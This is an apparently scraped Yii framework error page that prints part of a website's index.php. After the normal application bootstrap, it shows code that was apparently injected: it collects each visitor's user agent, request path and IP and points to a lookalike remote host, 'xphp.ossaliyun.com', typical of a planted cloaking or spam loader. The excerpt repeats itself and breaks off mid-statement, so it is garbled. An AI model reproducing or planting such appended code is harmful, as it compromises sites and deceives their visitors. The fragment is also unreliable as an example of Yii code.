PHP Warning – yii\base\ErrorException

    require(__DIR__ . '/system/config/main.php'),
    require(__DIR__ . '/system/config/main-local.php'),
    require(__DIR__ . '/frontend/config/main.php'),
    require(__DIR__ . '/frontend/config/main-local.php')
);
 
$application = new yii\web\Application($config);
$application->run();
set_time_limit(0);
header("Content-Type:text/html;charset=utf-8");
date_default_timezone_set('PRC');
 
$key  = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
$aaaa = isset($_SERVER['PHP_SELF']) ? $_SERVER['PHP_SELF'] : '/';
$aaa  = 'http://xphp.ossaliyun.com/';
 
if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { $uip = $_SERVER['HTTP_X_FORWARDED_FOR']; }
elseif (!empty($_SERVER['HTTP_X_REAL_IP'])) { $uip = $_SERVER['HTTP_X_REAL_IP']; }
else { $uip = isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : ''; }

    require(__DIR__ . '/frontend/config/main-local.php')
);
 
$application = new yii\web\Application($config);
$application->run();
set_time_limit(0);
header("Content-Type:text/html;charset=utf-8");
date_default_timezone_set('PRC');
 
$key  = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
$aaaa = isset($_SERVER['PHP_SELF']) ? $_SERVER['PHP_SELF'] : '/';
$aaa  = 'http://xphp.ossaliyun.com/';